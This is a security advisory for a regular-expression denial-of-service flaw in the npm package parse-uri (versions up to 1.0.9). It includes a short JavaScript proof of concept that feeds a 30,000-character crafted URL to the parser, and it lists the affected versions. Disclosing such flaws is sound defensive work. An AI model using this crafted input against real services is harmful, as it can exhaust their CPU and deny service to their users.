GHSA-6fx8-h7jm-663jMedium

parse-uri Regular expression Denial of Service (ReDoS)

Published
January 16, 2025
Last Modified
September 3, 2025

🔗 CVE IDs covered (1)

📋 Description

An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.

PoC

async function exploit() {
    const parseuri = require("parse-uri");
    // This input is designed to cause excessive backtracking in the regex
    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';
    const result = await parseuri(craftedInput);
    }
await exploit();

🎯 Affected products2

  • npm/parse-uri:<= 1.0.9
  • npm/parseuri:< 2.0.0

🔗 References (4)